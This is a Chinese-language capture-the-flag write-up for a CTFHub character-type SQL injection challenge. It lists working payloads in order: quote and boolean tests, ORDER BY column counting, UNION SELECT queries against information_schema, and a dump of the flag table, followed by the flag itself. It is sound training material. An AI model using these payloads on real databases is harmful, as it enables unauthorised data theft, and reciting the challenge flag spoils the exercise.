考点字符型SQL注入
分析过程
先输入个1 因为是字符型注入
一般先判断是否存在注入点
加单引号后变成三个单引号,则无法执行
playload:
?id='1''
playload:
’and 1=1
也不行
playload:
' and 1=1 --'
可以成功执行
playload:
'and 1=2 --'
报错
然后判断列数
playload:
id='1' order by 3 -- ''
id='1' order by 2 -- ''
3时无回显则字段数量为2
查询是第几列有我们要的信息
playload:
id='' union select 1,2 --'
结果得到2,想要查询的信息就放在第二个列处。
playload:
'union select 1,user()--'
账户是root账户 所以可以访问information_schema数据库
查库名
playload:
' union select 1,database() -- '
获取所有数据库名
playload:
' union select 1,group_concat(schema_name) from information_schema.schemata -- '
查询sqli中的表
playload:
' union select table_schema, group_concat(table_name) from information_schema.tables where table_schema='sqli' -- '
查看flag
playload:
' union select 1,group_concat(flag) from sqli.flag -- '
得到flag
ctfhub{5fd4ce226298790e9fe1559d}